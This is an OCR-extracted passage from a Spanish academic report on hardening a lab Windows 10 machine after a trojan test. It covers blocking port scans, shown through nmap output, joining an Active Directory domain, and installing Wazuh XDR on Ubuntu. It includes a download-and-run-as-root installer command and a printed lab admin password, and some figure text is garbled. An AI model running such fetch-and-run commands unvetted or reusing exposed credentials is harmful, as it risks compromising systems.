el resultado muestra un elemento adicional contaminado y ligado al navegador Edge
lo cual es interesante ya que todo este proceso se ha realizado en un banco de
pruebas controlado el cual no ha sido utilizado para fines diferentes a los de ejecutar
el archivo PoC_1032412170.exe habra que analizar a futuro dicho archivo.

llustracion 69 Hallazgos adicionales

< Analisis
Cuarentena

Cuarentena tiene copias de seguridad de los archivos que se eliminan o modifican para desinfectar el equipo. Estas copias estan almacenadas en un formato especial y no suponen ningdn
db riesgo.

B Quitar todo

Archivo Ruta Detectado

3acdfaacd74536e9_0 C:A\Users\Win10-HackerHouse\AppData\Local\Microsoft\Edge\U. HEUR:Trojan.Win32.Generic 9/19/2 I Eliminado

PoC_1032412170.exe C:A\Users\Win10-HackerHouse\Downloads\, Trojan.Win64.Shelmab 9/19/2023 3:33... Eliminado

Fuente: Elaboracion propia

PROTEGER ANTE AMENAZA DE ANALISIS DE PUERTOS

Dentro del desarrollo de actividades anteriores fue posible observar que dentro del
proceso de andlisis se escaneaba el equipo de la victima previo a lanzar el ataque,
dentro de la configuracion de firewall del sistema antivirus (Kaspersky Small Office)
instalado es posible bloguear los escaneos de puertos externos lo cual hara mas
complejo un futuro ataque. En la ilustracién 70 se observa la activacion de este
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servicio y algunas configuraciones adicionales como por ejemplo una
administracion de exclusiones que permitiran que ciertos equipos si puedan realizar
este tipo de escaneos.

llustracion 70 Bloquear analisis de puertos externos desde antivirus
Kaspersky

Fuente: Elaboracién propia

Un ejemplo de deteccion de escaneo se puede observar en la ilustracion 71 en
donde posterior a un intento de escaneo desde la maquina con sistema operativo
Kali Linux el sistema de bloqueo de ataques de red del antivirus bloquea todo tipo

de escaneo.

llustracién 71 Comprobacién bloqueo de escaneo externo de prueba

¢ Configuracién de seguridad

Configuracion de Bloqueador de ataques de red

Bloqueador de ataques de red

Bloqueador de ataques de red

0 Pox

Fuente: Elaboracion propia
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Ahora en la ilustracion 72 se observa un ejemplo de escaneo de puertos usando la
herramienta nmap*® antes y después de activar el bloqueo de ataques de red. El
primer intento obtiene un reporte, el segundo no proporciona ninguna informacion.

llustracion 72 Escaneo de puertos desde Linux Kali antes y después de
activar bloqueo en Antivirus Kaspersky

’le mP O 2 3 4 "o Do4H A Q22004 | & &

root@kali: fromefunad

File Actions Edit View Help

sudo] password for unad:
/home/unad
0 192.168.1.113
.94 tps rg ) at 2023-09-19 19:59 EDT

open
open
rtual NIC)
is running on it ee ht /fnmap.org/submit/ ).

05 detection pe med. Please repo y ults at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) ed in 1 conds

/home/unad
0 192.168.1.113
Starting Nmap 7.94 ( https:/ ) at 2823-99-19 20:83 EDT

Fuente: Elaboracion propia

A este momento se puede confirmar que la seguridad del equipo ha sido elevada y
un nuevo atague no podra ser realizado tan facilmente como se hizo en un inicio.

A continuacion, se procedera a brindar una proteccion adicional conectando la
maguina con sistema operativo Windows 10 a un dominio con directorio activo.

49 LYON, Gordon. NMAP. [www.nmap.org]. (2023). [Consultado el 5, septiembre, 2023]. Disponible en:
<https://nmap.org >
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13.4 CONECTAR A DOMINIO CON DIRECTORIO ACTIVO

Los sistemas de computacién empresariales suelen tener controles continuos por
parte de las directivas, asi como lo son bloqueos y politicas de seguridad, una de
las mejores maneras de implementarlas es haciendo uso de un controlador de
Dominio y Directorio Activo® los cuales pueden de manera generalizada tener un
control de cuentas de usuario y actividades permitidas en cada uno de los equipos
conectados.

La presente actividad conectara la maquina a un servidor existente de la empresa
HackerHouse e cual posee instalado el sistema operativo Windows Server 2022,
para este caso se ilustrara el paso a paso necesario para conectarse al dominio.

El requerimiento inicial sera el de configurar una direccion IPV4 y DNS fijos en la
tarjeta de red la maquina con sistema operativo Windows 10, el DNS primario
correspondera a la direccion IPV4 fija del servidor la cual es 192.168.1.10.

llustracion 73 Configuracion TPC/IPV4

Fuente: Elaboracion propia

Posteriormente desde el panel de control y la opcién usuarios se le dara clic a
acceder a trabajo o escuela y luego a la opcién conectar a un dominio activo local.
Esto mostrara la ventana que se puede observar en la ilustracién 74 en donde se
debera colocar el nombre completo del servidor, en caso de que no se permita la
conexion se deberd intentar usando la direccion IP del servidor.

50 MICROSOFT, Introduccion a Active Directory Domain Services. Windows Server [www.learn.microsoft.com].
(08, marzo, 2023). [Consultado el 5  septiembre, 2023]. Disponible en internet:
<https://learn.microsoft.com/es-es/windows-server/identity/ad-ds/get-started/virtual-dc/active-directory-
domain-services-overview >
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llustracién 74 Ingreso al dominio

Join a demain

Join a domain

Domain name

hhserver.local‘ P

Fuente: Elaboracion propia

Dentro del servidor previamente se ha creado el usuario y contrasefa por lo cual
se procede a ingresar los datos para continuar la adhesion.

llustracion 75 Confirmacién de credenciales

Windows Securty ®
Join a domain

L Enter your domain account info to verify you have permission 10
CONNECL 10 the domain.

[

Fuente: Elaboracion propia

Seleccion de tipo de usuario, es importante seleccionar que la conexion se realizara
para un usuario estandar ya que la misién principal que se quiere desarrollar es la

limitacién de actividades por parte del usuario final. En la ilustracién a continuacion
se confirma que la conexion esta siendo realizada con usuario de tipo estandar.

llustracion 76 Conexién como usuario estandar

e wsing this PC. If you skip this step, the person will

Fuente: Elaboracion propia
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Luego de terminar el proceso se requiere reiniciar el equipo, en este caso y como
se observa en la ilustracion a continuacion al terminar de iniciar el sistema operativo
Windows 10 la pantalla de inicio ha cambiado y ya no aparece la cuenta de usuario
local sino que da la opcion de escribir el nombre de usuario que debe ir acompafiado
del simbolo @ y el nombre del dominio. Légicamente también solicitara el ingreso
de la contrasefia. Para este caso puntual se ha proporcionado el nombre de usuario
hh.001@hhserver.local

llustracion 77 Primer inicio unido al Directorio Activo

Other user

Sign in to: hhserverJocal

How do | sign in to another domain?

Fuente: Elaboracion propia

Al finalizar este proceso se ha logrado aumentar mas la seguridad del equipo ya
gue actividades cotidianas como la ejecucion de archivos .exe .bat entre otros no
sera posible a menos que se introduzca el usuario y clave del administrador del
sistema evitando asi que archivos como PoC_1032412170.exe sean ejecutados de
manera accidental o voluntaria nuevamente.

13.5 CONECTAR A XDR WAZUH

Como profesional en ciberseguridad se sugiere realizar la implementacion de un
XDR que permita tener un monitoreo constante de las actividades realizadas
dentro de los equipos de la empresa y que adicionalmente haga posible conocer
vulnerabilidades para proceder posteriormente a realizar las labores respectivas
necesarias que tengan lugar para disminuir el riesgo de ataques.

Se ha seleccionado la plataforma WAZUH?®! en su versién de cédigo abierto por lo
cual es necesario realizar la instalacion de un servidor con sistema operativo Linux
el cual soportara la ejecucion de esta. A continuacién, serd posible observar los

51 WAZUH. Active XDR Protection from moderm threats. Wazuh [www.wazuh.com]. (2023). [Consultado el 5,
septiembre, 2023]. Disponible en internet: < https://wazuh.com/platform/xdr/>
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pasos necesarios para descargar e instalar de manera correcta el servidor Linux y
la plataforma Wazuh.

13.6 INSTALACION SERVIDOR CON SISTEMA OPERATIVO LINUX

Es necesario utilizar una imagen de instalacion del sistema operativo Linux en su
versién Ubuntu®? para esta ocasion se selecciona la version Ubuntu Server la cual
se descarga desde el sitio web https://ubuntu.com/download/server es importante
realizar descargas directas y no utilizar sitios de terceros para asi evitar copias
contaminadas o modificadas.

llustraciéon 78 Descarga Instalador Ubuntu Server

We are hirir

ubuntu® Enterprise Developer Community Download ~ Search Q Sign in

loT  Cloud

Downloads Desktop

Get Ubuntu Server

Option 1: Manual server installation

USB or DVD image based physical install

@ 0S security guaranteed until April 2027

@ Expanded security maintenance until April 2032

@ Commercial support for enterprise customers

Download Ubuntu Server 22.04.3 LTS Alternative download Altern.

Read the Ubuntu S

Option 2 - Instant Ubuntu VMs Option 3 - Automated server provisioning

Fuente: Elaboracién propia

Para el presente trabajo se realiza la creaciébn de una maquina virtual en el
administrador de maquinas virtuales Virtual Box

52 CANONICAL. Get Ubuntu Server. Ubuntu [www.ubuntu.com]. (2023). [Consultado el 5, septiembre, 2023].
Disponible en internet: <https://ubuntu.com/download/server >
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llustracién 79 Creacién maquina virtual con sistema operativo Linux Ubuntu

@ [ ] Create Virtual Machine

Virtual machine Name and Operating System

Please choose a descriptive name and destination folder for the new virtual machine The name you choose will
be used throughout VirtualBox to identify this machine Additionally, you can select an ISO image which may be
used to install the guest operating system.

Name: Wazuh Server &
Folder: 7 /Users/charlie/VirtualBox VMs u
ISO Image:  /Users/charlie/Downloadsfubuntu-22.04.3-live-server-amdé4.iso u

Skip Unattended Installation

@Detected 0S type: Ubuntu (64-bit). This OS type can be installed unattendedly. The install will
start after this wizard is closed.

Help Expert Mode Next Cancel

Fuente: Elaboracion propia

Se realiza la asignacién de recursos los cuales deben estar ligados a las
necesidades del sistema operativo base que en esta ocasion es Ubuntu Servery de
la plataforma Wazuh, en ambos casos el minimo de memoria RAM recomendada
es de 4096mb por lo cual se le asignaran 8192mb de memoria a la maquina virtual.

llustracién 80 Asignacion Recursos de procesador y memoria ram

Hardware

You can modify virtual machine's hardware by changing amount of RAM and virtual CPU count
Enabling EFl is also possible.

Base Memory 8192mM8

amB 65536 MB

Processors: 6 s

1cPu 12CPUs
Enable EFI (special OSes only)

Fuente: Elaboracion propia

Respecto a la asignaciéon de espacio de disco duro se asignaran 120gb las cuales
podran ser ampliadas en caso de requerirse.
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llustraciéon 81 Asignacion de espacio de disco duro virtual

() Create Virtual Machine

Virtual Hard disk

If you wish you can add a virtual hard disk to the new machine.You can either create a new hard

disk file or select an existing one Alternatively you can create a virtual machine without a virtual

hard disk.

© Create a Virtual Hard Disk Now

Disk Size: 120 GB
4.00 M8 20078
Pre-allocate Full Size

Use an Existing Virtual Hard Disk File

Fuente: Elaboracion propia

Una vez la maquina virtual ha sido creada de manera satisfactoria se da inicio a
esta con la imagen de instalacién anteriormente descargada, al iniciar se debera
seleccionar (try or install Ubuntu Server)

llustracion 82 Boot instalador Ubuntu

GHU GRUB wversion Z.06

Try or Install Ubuntu Server

Ubuntu Server with the HWE kernel
Test memory

Use the t and | keys to select which entry is highlighted.
Press enter to boot the selected 0S, ‘e’ to edit the commands

before booting or ‘¢’ for a command-line.
The highlighted entry will be executed automatically in Z4s.

Fuente: Elaboracion propia

El siguiente paso sera la seleccion del lenguaje, es importante que este idioma
seleccionado concuerde desde un inicio con el idioma del teclado fisico utilizado ya
que al ser un sistema operativo sin GUI se manejara enteramente por medio de
linea de comandos y si el idioma seleccionado no concuerda con el del teclado se
produciran bastantes errores humanos al momento de usarlo.
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llustracion 83 Seleccion de idioma

Hillkommen| Blenvenue! Welcome! Aofipo noxanosaTe! Welkom!

Jse UP, DOWN and ENTER keys to select your language.

Fuente: Elaboracion propia

A continuacion, se brindara la opcion de realizar la instalaciéon haciendo uso de
complementos externos que permitan actualizar su contenido, se recomienda
seleccionar la opcién Update to the new Installer.

llustracion 84 Uso de nuevo instalador

Installer update available

09.1 of the installer is now a

Fuente: Instalacion propia

Aunque si en algunos casos el usuario por ejemplo desea el sistema operativo en
espafol, pero tiene el teclado fisico en ingles le sera posible realizar esa
configuracion adicional como se muestra en la ilustracion 85.
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llustracion 85 Seleccion métodos de entrada

kKeyboard conf igurat ion [ Help ]

low, or select "Identify keyboard" to

v]

[ English (uUS ]

[ Identify

Fuente: Instalacion propia

En la siguiente seleccién es posible agregar complementos que proporcionen una
instalacion mas completa como lo son drivers y elementos de terceros, aunque
existe la opcion inversa para realizar una instalacion minimizada la cual es ideal si
no se cuenta con recursos amplios en cuanto a hardware.

llustracion 86 Seleccidn tipo de instalacion

Choose type of Install [ Help ]
Choose the base tor the installation.

(¥)  Ubuntu Server
() Ubuntu Server (minimized

opt ions

2arch for third-party drivers

Fuente: Instalacion propia

Las configuraciones de red mostradas en la ilustracion 87 variaran de acuerdo al
tipo de red interna, en este caso la red interna proporciona DHCP por lo cual se
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habilitara la conexién con DHCP, aunque mas adelante se realizaran cambios para
asignar una direccion IPV4 fija.

llustracién 87 Configuraciones de red

[ Help 1

to other machines,

[ Create bond » ]

Fuente: Instalacion propia

Para finalizar esta parte inicial se solicitara realizar gestion del espacio en disco duro
a utilizar, en este tipo de configuraciones se recomienda utilizar el disco duro
completo como se observa en la ilustracion 88. Adicional es posible utilizar la opcién
de encriptar el disco duro para elevar la seguridad de este y evitar acceso por parte
de terceros en caso de que se extraiga el disco fisicamente.

llustracién 88 Asignacion espacio de disco duro a utilizar

Guided s e configuration [ Help 1

layout, or create a custom one:
0.000G * ]

roup with LUKS

[ Done
[ Back

Fuente: Instalacion propia
Confirmacion de los procesos a realizar en la instalacion, se ofrece la oportunidad

de revisar todas las configuraciones creadas y de modificarlas o aceptarlas y
ejecutarlas.
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llustracion 89 Confirmacién acciones

Storage configuration

FILE SYSTEM SUMMARY

Fuente: Instalacion propia
Como es acostumbrado en sistemas operativos Linux se vuelve a solicitar una

reconfirmacion para asi evitar accidentes que puede ser generados por el afan de
crear una instalacion.

llustracién 90 Confirmacion ejecucion

Storage configuration [ Help 1

i Lontinue ]

Fuente: Instalacion propia
Ahora se solicitaran los datos de la cuenta de usuario predeterminada con la cual

arrancara el sistema operativo, esta cuenta es totalmente diferente a la cuenta root
la cual siempre se instalara de manera predeterminada.

82



llustracion 91 Solicitud de datos de usuario

Profile setup

ko kR A

Fuente: Instalacion propia

Sugerencia de actualizacion a Ubuntu pro®3 la cual no aplica para este proceso por
lo cual se omitira.
llustracién 92 Opciones pro de ubuntu

Upgrade to Ubuntu Pro
ro for security updat
with FedRAMP, FIF
ents.

es on a
STIG, HIF

[ Continue ]
[ Back 1

Fuente: Instalacion propia

Una de las opciones que proporciona la instalacion es la de instalar y activar el
servicio de SSH>* el cual permitird administrar la maquina remotamente luego de

53 CANONICAL. Ubntu Pro. Ubuntu [www.ubuntu.com]. (2023). [Consultado el 5, septiembre, 2023].
Disponible en internet: < https://ubuntu.com/pro>

>4 UCL. What is SSH and how do | use it?. UCL [www.ucl.ac.uk]. (2023). [Consultado el 5, septiembre, 2023].
Disponible en: <https://www.ucl.ac.uk/isd/what-ssh-and-how-do-i-use-it >
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terminar la instalacion. Por lo cual se debe seleccionar la opcién Install Open SSH
Server.

llustracion 93 Instalacién de SSH

[ Help ]

e to enable secure remote

identity: [ No

Fuente: Instalacion propia

A continuacion, se seleccionan algunos repositorios que seran utilizados para fines
de actualizacion del sistema operativo Ubuntu Linux.

llustracién 94 Repositorios para actualizacién

Featured Server Snaps [ Help ]
2 are popular snaps in server environments. Select or deselect with SPACE,
TER to see more detalls of the package, publisher and versions
rkstations and appliances
A safe home for all your data
vMs that seamlessly plug into the c »
docker Dol 1t ime

canonical-livepatch Ca Client

mosquitto

another, safely

e Interface for Amazon Heb Servi
.

Fuente: Instalacion propia

Finalmente se abra terminado todo el proceso de instalacién y configuracion del
sistema operativo Linux Ubuntu Server.
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llustracién 95 Final instalaciéon

Install complete!

Fuente: Instalacion propia

Una vez reiniciada la maquina se procedera a utilizar los siguientes comandos para
actualizar las librerias y el sistema operativo como se muestra en la ilustracion 96.

14 sudo apt update
15 sudo apt upgrade

llustracion 96 Actualizacion en linea

e local ESM

Fuente: Instalacion propia
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CONFIGURACION IPV4 FIJA

El siguiente paso para realizar la configuracién de la direccion IP fija de la maquina
con sistema operativo Linux Ubuntu se realizara en este caso desde un computador
con sistema operativo MacOS conectado a la misma red y utilizando SSH. Por lo
cual se procede a abrir terminal del equipo con sistema operativo MacOS y conectar
al equipo con con sistema operativo Linux Ubuntu usando el siguiente comando.

16 ssh wazuh@192.168.1.49

Donde SSH corresponde al protocolo a utilizar wazuh al nombre de usuario remoto
y @192.168.1.49 a la direcciéon IPV4 que posee en ese momento el servidor con
sistema operativo Linux Ubuntu.

llustracion 97 Conexion inicial usando SSH

® [ ] charlie — root@wazuh: [home/wazuh — ssh wazuh@192.168.1.49 — 80x48
charlie@Charlies-Mac-Pro ~ % ssh wazuh@192.168.1.49

nazuh?192.168.1.49's password:
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-84-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage

System information as of Wed Sep 20 ©2:50:53 AM UTC 20823

System load: 2.50244140625 Processes: 216

Usage of /: 16.3% of 57.776B  Users logged in: 1

Memory usage: 15% IPv4 address for enp@s3: 192.168.1.150
Swap usage: 0% IPv4 address for enp@s3: 192.168.1.49

* Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
just raised the bar for easy, resilient and secure K8s cluster deployment.

https://ubuntu.com/engage/secure-kubernetes—-at-the-edge
Expanded Security Maintenance for Applications is not enabled.
B updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status

Last login: Wed Sep 20 02:49:27 20823
wazuh@wazuh:~$ sudo su

[sudo] password for wazuh:
root@wazuh:/home/wazuh# I

Fuente: Instalacion propia
Luego de estar dentro del equipo servidor con sistema operativo Linux Ubuntu

Server “Remotamente” se procedera a solicitar la configuracion actual presente en
la maquina, esto se hace utilizando el comando.
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17 ifconfig (en caso de que el comando no se pueda ejecutar se deberan instalar
las herramientas de red usando el comando que se muestra a continuacion)

18 sudo aptinstall net-tools

llustracion 98 Configuracion de redes inicial

charlie — root@wazuh: [etc/netplan — ssh wazuh@192.168.1.49 — 80x48

root@wazuh:/etc/netplan# ifconfig
cali7c3863885b0: flags=4163<UP, BROADCAST,RUNNING, MULTICAST> mtu 1450

ineté feB80::ecee:eeff:feee:eeee prefixlen 64 scopeid Ox20<link>
ether ee:ee:ee:ee:ee:ee txqgueuelen @ (Ethernet)

RX packets 130 bytes 13289 (13.2 KB)

RX errors @ dropped 1 overruns @ frame @

TX packets 112 bytes 22861 (22.8 KB)

TX errors @ dropped @ overruns @ carrier @ collisions @

calidf2eeée72f9: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 14580

enp@s3:

ineté feB80::ecee:eeff:feee:eeee prefixlen 64 scopeid Ox20<link>
ether ee:ee:ee:ee:ee:ee txqgueuelen @ (Ethernet)

RX packets 156 bytes 16255 (16.2 KB)

RX errors @ dropped 1 overruns @ frame @

TX packets 151 bytes 235679 (235.6 KB)

TX errors @ dropped @ overruns @ carrier @ collisions ©

flags=4163<UP,BROADCAST, RUNNING, MULTICAST> mtu 1568

inet 192.168.1.150 netmask 255.255.255.8 broadcast 192.168.1.255
ineté fe80::a00:27ff:fe33:ee50 prefixlen 64 scopeid Bx20<link>
ether 08:00:27:33:ee:50 txqueuelen 1000 (Ethernet)

RX packets 253 bytes 27785 (27.7 KB)

RX errors @ dropped & overruns @ frame 0

TX packets 143 bytes 18043 (18.@ KB)

TX errors @ dropped @ overruns @ carrier @ collisions @

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536

inet 127.8.8.1 netmask 255.0.0.0

ineté ::1 prefixlen 128 scopeid 0x10<host>

loop txqueuelen 1000 (Local Loopback)

RX packets 17224 bytes 11123829 (11.1 MB)

RX errors © dropped @ overruns @ frame ©

TX packets 17224 bytes 11123829 (11.1 MB)

TX errors © dropped @ overruns @ carrier @ collisions O

vxlan.calico: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1450

inet 10.1.4.128 netmask 255.255.255.255 broadcast ©.0.0.0

inet6 feBO::64F2:32Ff:fed2:8815 prefixlen 64 scopeid 0x20<link>
ether 66:12:32:d2:88:15 txqueuelen @ (Ethernet)

RX packets @ bytes @ (9.9 B)

RX errors © dropped ® overruns @ frame 0

TX packets © bytes @ (8.9 B)

TX errors @ dropped 7 overruns @ carrier @ collisions @

root@wazuh:/etc/netplan# I

Fuente: Instalacion propia

En la ilustracion anterior (98) es posible observar varias configuraciones de red, en
este caso puntual la mas importante sera enp0s3 ya que es la que soporta la tarjeta
de red principal del equipo.
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Sera necesario ingresar ahora a la ruta donde se encuentra el archivo de
configuracion de red usando el siguiente comando.

19 cd /etc/netplan/

una vez dentro se le solicitara que muestre los archivos en el directorio actual
utilizando el comando Is y mediante el comando que se muestra a continuacién se
podré editar el archivo

20 sudo nano 00-installer-config.yaml

llustraciéon 99 Directorio netplan

[l [ ] charlie — root@wazuh: [etc/netplan — ssh wazuh@192.168.1.49 — B0Ox48

root@wazuh:/etc/netplan# ls
@0-installer—config.yaml
root@wazuh:/etc/netplan# sudo nano @0-installer-config.yaml I

Fuente: Instalacion propia

Una vez dentro se procedera a editar el archivo como se encuentra en la ilustracién
39 teniendo en cuenta que se estara asignando una direccion IPV4 fija, este proceso
es vital e importante para el futuro funcionamiento de Wazuh. Finalmente se debera

guardar la configuracion.

llustracion 100 Ediccidon archivo netplan

oy [ ] charlie — root@wazuh: [etc/netplan — ssh wazuh@192.168.1.49 — 80x48

GNU nano 6.2 PP-installer-config.yaml

: networkd

192.168.1.150/24
192.168.1.1, 8.8.8.8

: default
: 192.168.1.1
: 2# This is the network config written by

Fuente: Instalacion propia

Posteriormente se deberan ejecutar los comandos para aplicar cambios y reiniciar.
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21 sudo netplan apply
22 sudo reboot

Ahora desde la maquina principal con el sistema operativo Linux Ubuntu Server se

podra verificar que la configuracién realizada ha sido exitosa.

llustracién 101 Confirmacion configuraciones IPV4

(] ] UbtuntuServerTerminal [Running]

collis

: [;1 (el A% 0| [E iR D QS 1 aft 22
Fuente: Instalacion propia

13.7 Instalacion Wazuh XDR

Inicialmente se debe mencionar que XDR es un sistema de deteccion y respuesta
extendida que permite tener amplio control sobre la deteccion y respuesta ante
amenazas presentes en una red, gracias a Wazuh sera posible tener un monitoreo
constante de los equipos conectados, verificar las actividades que se realizan dentro
de ellos, obtener reportes minuto a minuto los cuales se pueden utilizar para
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detectar comportamientos andmalos de uso y realizar evaluaciones de seguridad
gracias a su integracion con CIS®® (Center for Internet Security)

Ingresando desde un equipo externo por medio de SSH al servidor que contiene el
sistema operativo Linux Ubuntu se ejecutara la siguiente linea de comandos, la cual
sera la encargada de descargar e instalar en su totalidad el software Wazuh. (Esta
linea esta actualizada a 21, de septiembre, de 2023 en caso de consultar el
documento en meses posteriores se recomienda acceder a la web oficial de Wazuh
y obtener la linea de comandos actualizada)

e curl -sO https://packages.wazuh.com/4.4/wazuh-install.sh && sudo bash
Jwazuh-install.sh -a

llustracion 102 Instalacion Wazuh

20/09/2023 02:58:34 INFO: wazuh-indexer service started.
20/09/2023 ©2:58:34 INFO: Initializing Wazuh indexer cluster security settings.
20/09/2023 02:58:44 INFO: Wazuh indexer cluster initialized.
20/09/2023 02:58:44 INFO: -——- Wazuh server ——-
20/09/2023 02:58:44 INFO: Starting the Wazuh manager installation.
20/09/2023 ©3:02:12 INFO: Wazuh manager installation finished.
20/09/2023 03:02:12 INFO: Starting service wazuh-manager.
20/09/2023 ©3:02:41 INFO: wazuh-manager service started.
20/09/2023 03:02:41 INFO: Starting Filebeat installation.
20/09/2023 03:02:55 INFO: Filebeat installation finished.
20/09/2023 03:02:56 INFO: Filebeat post-install configuration finished.
20/89/2023 03:02:56 INFO: Starting service filebeat.
20/09/2023 03:03:00 INFO: filebeat service started.
20/09/2023 03:03:00 INFO: ——— Wazuh dashboard —-
20/09/2023 ©3:03:00 INFO: Starting Wazuh dashboard installation.
20/09/2023 ©03:06:12 INFO: Wazuh dashboard installation finished.
20/09/2023 03:06:13 INFO: Wazuh dashboard post-install configuration finished.
20/09/2023 03:06:13 INFO: Starting service wazuh-dashboard.
20/09/2023 03:06:14 INFO: wazuh-dashboard service started.
20/09/2023 03:06:55 INFO: Initializing Wazuh dashboard web application.
20/09/2023 03:06:57 INFO: Wazuh dashboard web application initialized.
20/09/2023 03:06:57 INFO: ——— Summary ——-—
20/09/2023 ©3:06:57 INFO: You can access the web interface https://<wazuh-dashboard-ip>
User: admin
Password: UULnalNz+5MK+6dB8JH.9q8tLgOM34M]
20/09/2023 03:06:57 INFO: Installation finished.
root@wazuh:/etc/netplan#

Fuente: Instalacion propia

Al final de la instalacion como se muestra en la ilustracion 102 es posible observar
dos datos clave que es necesario copiarlos en un bloc de notas o similar para futuro
uso.

e Nombre de usuario: admin
e Contrasefia: UULnalNz+5MK+6dB8JH.9g8tLgOM34M;

Una vez terminado este proceso de instalacion, se procedera a realizar el ingreso
al GUI de administracion de Wazuh desde cualquier equipo de la red utilizando la
siguiente direccion.

5> WAZUH, CIS -CAT Integration. Wazuh [www.documentation.wazuh.com]. (2023). [Consultado el 5,
septiembre,  2023]. Disponible en internet: <https://documentation.wazuh.com/current/user-
manual/capabilities/policy-monitoring/ciscat/ciscat.html >
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e https://192.168.1.150

llustraciéon 103 GUI Wazuh

8o — W

Fuente: Instalacion propia

Luego de ingresar los datos de manera correcta se mostrara el panel principal de
administracion de Wazuh en el cual destaca un elemento llamado Add Agent el cual

llevara al usuario a una pagina para instalar el agente de Wazuh en el equipo como
se podra observar en la ilustracion 104.

llustracion 104 Bienvenida Wazuh

2 O O Wauh-Wamn x |+ = B %

& C O nttps//192.168.1.150/app/vazuh#/overview/?_g=filters:i(.refreshinterval{pause:it value:0) time:{from:now-24h.tomow))&_a= (columns:!{_source)filters:|(.index A om o g !_b/

= (O wazuh. v | Modies ) ©
Total agents Active agents Disconnected agents Panding agents

col Never connected agents
0 0 0 0

&\ No agents were added to this manager. Add aglSl

SECURITY INFORMATION MANAGEMENT AUDITING AND POLICY MONITORING

80 Security events [% Integrity monitoring l?l Policy monitoring _o,/\.v System auditing
19
Browse through your securty alerts, identifying

Alerts related 10 file changes. incuding
Issues and threats in your environment

Vertty that your systems are configured

Audit users behavior, monttoring command
&CCording to your securty policies baseline

execution and alerting on access to crtical
files

permissions, content, ownership and
attributes

@ Security configuration
assessment

Scan your assets as part of a configuration
assessment audt

THREAT DETECTION AND RESPONSE REGULATORY COMPLIANCE

@ Vulnerabilities gg MITRE ATT&CK

= PCIDSS 53 nisT800-53

Fuente: Instalacion propia
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Al ingresar se debera seleccionar el sistema operativo al cual se le agregara el
agente, se debe indicar la direccion IPV4 del servidor Wazuh (192.168.1.10) y al
final la pagina proporcionard una linea de comandos que podra ser utilizada en
PowerShell por lo cual se le dara clic en copiar.

llustracion 105 Ingreso datos servidor Wazuh

0o

wazuh

Fuente: Instalacion propia

llustracién 106 Copia comando Powershell

= (O wazuh.

Fuente: Instalacion propia

Al copiar el comando proporcionado se debera abrir PowerShell en modo
administrador para poderlo ejecutar correctamente, como el equipo se ha unido a
un administrador de directorio activo Windows solicitara el ingreso de credenciales
de administrador, esto demuestra que los niveles de seguridad se han elevado
bastante respecto a coOmo se encontraban en un inicio.
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llustraciéon 107 PowerShell como administrador

User Account Control

Do you want to allow this app to make
changes to your device?

B Windows PowerShell

Verified publisher: Microsoft Windows

er name and password.

Yes

Fuente: Instalacion propia

Luego de pegar el codigo anteriormente copiado y dar enter se iniciara el proceso
de descarga del instalador de Wazuh Agente y la conexion de este con el servidor
de Wazuh.

llustracion 108 Instalacion agente Wazuh

rosoft Corporation. All rights reserved.

Writing web request
Writing request stream... {(Mumber of bytes written: 74587)

Fuente: Instalacion propia

Finalmente se debera ejecutar el siguiente comando para iniciar el servicio. Si no
se realiza este proceso de manera manual sera necesario reiniciar el equipo.

e wazuh NETSTART WazuhSvc

llustracién 109 Inicio servicio Wazuh

Fuente: Instalacion propia
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Ahora de regreso en el navegador sera posible observar que ya se ha agregado
un agente del cual se empiezan a recopilar datos.

llustracién 110 Confirmacion agente agregado

© Wah x [ - 8 x
< ) A Notsecure | hetpsy//192.168.1.150, = @ 8
= (O wazuh. v agems a
STATUS DETAILS EVOLUTION
® Adv (1) Active Disconnected  Pending Never connected  Agents coverage
. 1 0 0 100.00%
sst registered agent Most active agent
® el HackerHouse_001 HackerHouse_001

Agents (1)
o 1 Mame 1P aodress Chuster node Version Status Actions

H P Type here to search

Fuente: Instalacion propia

Es importante mencionar que Wazuh de manera automatica empieza a proporcionar
informacién sobre posibles mejoras que se deberian realizar en el equipo®®, estas
mejoras se encuentran basadas en las sugerencias de las guias de CIS como se

observa a continuacion.

56 CIS. CIS BENCHMARK LIST. Center For Internet Security [www.cisecurity.org]. (2023). [Consultado el 6,
septiembre, 2023]. Disponible en: <https://www.cisecurity.org/cis-benchmarks >
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llustraciéon 111 Recomendaciones CIS

Security configuration assessment ® a

il
D
s C§
Q
N
C
o

CIS Microsoft Windows 10 Enterprise Benchmark v1.12.0

129 262 4 ¥ Sep 19,2023 @

20:37:20.000

Checks (395)

Fuente: Instalacion propia

14 EQUIPOS DE CIBERSEGURIDAD Y SUS DIFERENCIAS

Inicialmente es necesario conocer los principales equipos de ciberseguridad
conocidos como Blue Team - Red Team y el recientemente ingresado en la
tendencia de equipos Purple Team. Para comprender sus cualidades diferencias y
relacion que tiene con los grupos CSIRT.

e Blue Team: Hace referencia a los equipos encargados de buscar y mitigar
vulnerabilidades dentro de las empresas teniendo total acceso a los
elementos internos de la misma, en algunos casos trabajan de manera
simultanea con los Red Team recibiendo ataques en tiempo real para evaluar
los niveles de seguridad implementados haciendo uso de herramientas de
defensivas, de monitorizacion, de andlisis forense entre otros®’. (seguridad
defensiva)

e Red Team: Este equipo se encuentra autorizado para realizar diversos
ataques y andlisis de vulnerabilidades que permitan evaluar los niveles de
seguridad implementados dentro de los entornos empresariales haciendo

>7 NIST. Computer Security Resource Center. NIST [www.csrc.nist.gov]. (2023). [Consultado el 6, septiembre,
2023]. Disponible en: <https://csrc.nist.gov/glossary/term/blue_team >
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uso de técnicas como pentest, phishng, ingenieria social etc. En algunos
casos cooperan con el Blue Team sugiriendo cambios de seguridad en
tiempo real para eliminar vulnerabilidades®®.

Estos equipos mencionados anteriormente estan dispuestos a testear y mejorar la
seguridad de las empresas y suelen estar compuestos por varios profesionales de
ciberseguridad, algunas empresas que no cuentan con el presupuesto necesario
para contratar directamente por lo cual realizan la sub contratacion de estos equipos
a empresas dedicadas a esto, aunque en escenarios de empresas con recursos
mucho més limitados se suelen crear los llamados Purple Team de los cuales se da
una explicacion mas detallada a continuacion.

